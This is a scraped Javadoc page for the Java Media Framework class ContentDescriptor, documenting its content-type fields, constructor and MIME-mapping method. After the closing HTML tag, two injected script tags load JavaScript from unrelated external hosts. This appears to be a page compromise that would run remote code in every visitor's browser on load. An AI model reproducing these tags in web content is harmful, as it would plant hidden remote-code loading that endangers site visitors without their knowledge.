📄 contentdescriptor.html
字号:
<A HREF="../../../javax/media/Format.html#matches(javax.media.Format)">matches</A>, <A HREF="../../../javax/media/Format.html#relax()">relax</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from class java.lang.Object</B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE>finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="RAW"><!-- --></A><H3>RAW</H3><PRE>public static final java.lang.String <B>RAW</B></PRE><DL><DD>RAW content type. This signifies content that's contained in individual buffers of type <code>Buffer</code> and carries any format of media as specified by the <code>format</code> attribute of the buffer.<DD><DL><DT><B>See Also: </B><DD><A HREF="../../../javax/media/Buffer.html"><CODE>Buffer</CODE></A>, <A HREF="../../../javax/media/Format.html"><CODE>Format</CODE></A>, <A HREF="../../../javax/media/protocol/PullBufferDataSource.html"><CODE>PullBufferDataSource</CODE></A>, <A HREF="../../../javax/media/protocol/PushBufferDataSource.html"><CODE>PushBufferDataSource</CODE></A></DL></DD></DL><HR><A NAME="RAW_RTP"><!-- --></A><H3>RAW_RTP</H3><PRE>public static final java.lang.String <B>RAW_RTP</B></PRE><DL><DD>RAW RTP content type. This is similar to the RAW content type but only carries buffers that contain packetized data formats supported by RTP.</DL><HR><A NAME="MIXED"><!-- --></A><H3>MIXED</H3><PRE>public static final java.lang.String <B>MIXED</B></PRE><DL><DD>Mixed content type. This signifies content that contains other elementary content types. e.g., when more than one <code>DataSources</code> is merged to formed one <code>DataSource</code>, the resulting <code>DataSource</code> may contain mixed contents.</DL><HR><A NAME="CONTENT_UNKNOWN"><!-- --></A><H3>CONTENT_UNKNOWN</H3><PRE>public static final java.lang.String <B>CONTENT_UNKNOWN</B></PRE><DL><DD>Unknown content type</DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="ContentDescriptor(java.lang.String)"><!-- --></A><H3>ContentDescriptor</H3><PRE>public <B>ContentDescriptor</B>(java.lang.String cdName)</PRE><DL><DD>Create a content descriptor with the specified name. <p> To create a <CODE>ContentDescriptor</CODE> from a MIME type, use the <code>mimeTypeToPackageName</code> static member.<DD><DL><DT><B>Parameters:</B><DD><CODE>cdName</CODE> - The name of the content-type.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getContentType()"><!-- --></A><H3>getContentType</H3><PRE>public java.lang.String <B>getContentType</B>()</PRE><DL><DD>Obtain a string that represents the content-name for this descriptor.<DD><DL><DT><B>Returns:</B><DD>The content-type name.</DL></DD></DL><HR><A NAME="toString()"><!-- --></A><H3>toString</H3><PRE>public java.lang.String <B>toString</B>()</PRE><DL><DD>Returns a string which describes the format parameters.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#toString()">toString</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>a string which describes the format parameters.</DL></DD></DL><HR><A NAME="mimeTypeToPackageName(java.lang.String)"><!-- --></A><H3>mimeTypeToPackageName</H3><PRE>public static final java.lang.String <B>mimeTypeToPackageName</B>(java.lang.String mimeType)</PRE><DL><DD>Map a MIME content-type to an equivalent string of class-name components. <p> The MIME type is mapped to a string by: <ol> <li>Replacing all slashes with a period. <li>Converting all alphabetic characters to lower case. <li>Converting all non-alpha-numeric characters other than periods to underscores (_). </ol> <p> For example, "text/html" would be converted to "text.html"<DD><DL><DT><B>Parameters:</B><DD><CODE>mimeType</CODE> - The MIME type to map to a string.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> PREV CLASS <A HREF="../../../javax/media/protocol/DataSource.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="ContentDescriptor.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -